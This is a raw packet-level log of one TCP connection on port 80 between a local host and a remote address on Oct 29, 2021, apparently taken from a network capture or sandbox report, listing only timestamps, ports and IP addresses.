Oct 29, 2021 17:56:11.493366003 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493379116 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493397951 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493416071 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493426085 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493437052 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493455887 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493458033 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493474960 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493478060 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493498087 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493516922 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493536949 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493546963 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493556023 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493571043 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493577003 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493597031 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493601084 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493623972 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493644953 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493655920 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493665934 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493686914 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.493689060 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.493782043 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.517831087 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532099009 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532140017 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532165051 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532187939 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532211065 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532227993 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532232046 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532258034 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532282114 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532285929 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532305002 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532327890 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532349110 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532366037 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532371998 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532397985 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532404900 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532422066 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532448053 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532449007 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532471895 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532476902 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532504082 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532527924 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532535076 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532551050 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532566071 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532576084 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532599926 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532618046 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532635927 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532658100 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532665968 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532680035 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532696962 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532704115 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532727003 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532751083 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532754898 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532773018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532798052 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532799006 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532824039 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532866001 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532871962 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532895088 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532917023 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532942057 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532946110 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532964945 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.532983065 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.532989025 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533014059 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533013105 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533036947 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533060074 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533061028 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533082008 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533103943 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533123016 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533143044 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533168077 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533173084 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533191919 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533215046 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533225060 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533238888 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533241987 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533261061 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533283949 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533284903 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533304930 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533329010 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533353090 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533353090 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533375978 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533391953 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533400059 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533421993 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533426046 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533441067 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533463955 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533471107 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533484936 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533509970 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533514977 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533533096 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533555031 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533572912 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533576012 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533600092 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533611059 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533622980 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533646107 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533647060 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533668995 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533689976 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533710957 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533714056 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533744097 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533761978 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533768892 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533790112 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533791065 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533812046 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533833027 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533834934 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533855915 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533879042 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533895016 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533904076 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533935070 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533943892 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533967972 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.533988953 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.533989906 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.534032106 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.534284115 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536465883 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536504030 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536528111 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536557913 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536559105 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536581993 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536603928 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536607027 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536633968 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536649942 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536659002 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536680937 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536703110 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536715984 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536729097 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536752939 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536761045 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536773920 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536791086 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536791086 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536808968 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536827087 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536844969 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536860943 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536876917 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536885023 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536900043 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536911964 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.536926031 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536937952 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536958933 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.536981106 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537002087 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537031889 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537043095 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537056923 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537080050 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537101984 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537111998 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537125111 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537147045 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537154913 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537172079 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537184954 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537194014 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537250996 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537260056 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537282944 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537305117 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537328959 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537348032 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537353992 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537380934 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537381887 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537405014 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537429094 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537432909 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537451029 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537471056 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537473917 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537497044 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537518024 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537539005 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537561893 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537561893 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537565947 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537585020 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537606955 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537615061 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537628889 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537650108 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537672043 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537673950 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537698984 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537707090 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537724018 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537750006 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537753105 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537772894 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537792921 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537796021 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537818909 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537841082 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537844896 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537863970 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537882090 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537883997 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537908077 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537929058 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537946939 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537955046 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537969112 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.537981033 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.537992001 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538014889 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538016081 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538041115 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538067102 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538068056 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538090944 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538115025 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538132906 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538155079 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538156033 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538177967 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538202047 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538214922 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538223028 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538245916 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538268089 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538276911 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538290024 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538305044 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538312912 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538336039 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538343906 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538360119 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538384914 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538386106 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538410902 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538434029 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538435936 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538455963 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538479090 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538480997 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538501024 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538522959 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538523912 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538548946 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538570881 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538592100 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538593054 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538614035 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538634062 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538635969 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538659096 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538660049 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538680077 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538703918 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538703918 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.538728952 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.538769960 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.539576054 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.539603949 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.539628029 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.539644003 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.539664984 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.539668083 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.539715052 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.539756060 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.540014982 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540043116 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540066957 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540088892 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540113926 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540136099 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540141106 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.540158987 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540178061 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.540182114 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540204048 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.540209055 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.540244102 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.563867092 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.563890934 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.563904047 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.563918114 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.563935995 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.563971043 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.563983917 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.563988924 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564006090 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564023972 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564033985 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564043045 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564059973 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564068079 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564076900 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564094067 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564110041 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564125061 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564129114 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564146042 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564163923 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564167976 CEST	49859	80	192.168.2.6	194.180.174.181
Oct 29, 2021 17:56:11.564182043 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564198971 CEST	80	49859	194.180.174.181	192.168.2.6
Oct 29, 2021 17:56:11.564201117 CEST	49859	80	192.168.2.6	194.180.174.181
